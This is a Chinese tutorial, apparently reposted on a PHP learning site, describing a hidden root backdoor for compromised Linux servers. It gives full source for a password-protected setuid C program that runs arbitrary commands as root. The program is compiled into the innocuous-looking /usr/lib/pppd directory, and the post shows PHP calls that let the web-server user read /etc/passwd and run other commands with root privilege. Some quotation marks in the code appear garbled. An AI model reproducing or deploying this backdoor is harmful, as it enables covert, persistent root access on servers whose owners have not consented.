好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

一种脚本越权的方法 - 网站安全 - 自学php

放暑假了,真是无聊啊,于是研究研究后门。

以前一直有一种想法:Linux提权后,各种后门不隐蔽,各种防火墙很BT,能不能让PHP继承suid权限,当作后门。 经过测试,这个想法是可行的。

首先编写一段C,名为:run.c,并赋予suid权限。

#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <string.h> int main(int argc, char*argv[]) {         char*pass=]imspider];                 if(argc < 3)         {                 printf([error\n]);                 return 0;         }         uid_t uid ,euid;         uid = getuid();         euid = geteuid();         if(setreuid(euid, uid))         perror([setreuid]);         int s;         if(strcmp(argv[2],pass)==0)         {                 for(s=3;s<argc;s++)                 {                         strcat(argv[1],] [);                         strcat(argv[1],argv[s]);                 }                 system(argv[1]);         }         else         {                 printf([\n——Password error——\n]);         }         return 0; }

程序接收三个以上参数,特定第三个参数为密码(即argv[2]),char*pass=]imspider]; 密码为imspider。 密码正确才能执行系统命令。

这里我把run.c编译到/usr/lib/pppd路径下:

root@spider:/usr/lib/pppd # gcc -Wall -o run run.c root@spider:/usr/lib/pppd # chmod u+s run

下面 PHP 代码是重点: 这里利用PHP自带的system函数,在禁用system的情况下,可以利用PHP扩展,我以前提到过,这里不解释。 比如我们想查看/etc/passwd,前面提到第三个参数是密码。

<?php echo ‘<pre>’; system(‘/usr/lib/pppd/run cat imspider /etc/passwd’); echo ‘</pre>’; ?>

system(‘/usr/lib/pppd/run whoami imspider’);//调用run查看当前用户,输出root。 system(‘/usr/lib/pppd/run whoami fuck’);//密码不正确,输出Password error。 system(‘whoami’);//不调用run查看当前用户,输出www。

我比较无聊,做了个命令交互页面。

查看更多关于一种脚本越权的方法 - 网站安全 - 自学php的详细内容...

  阅读:62次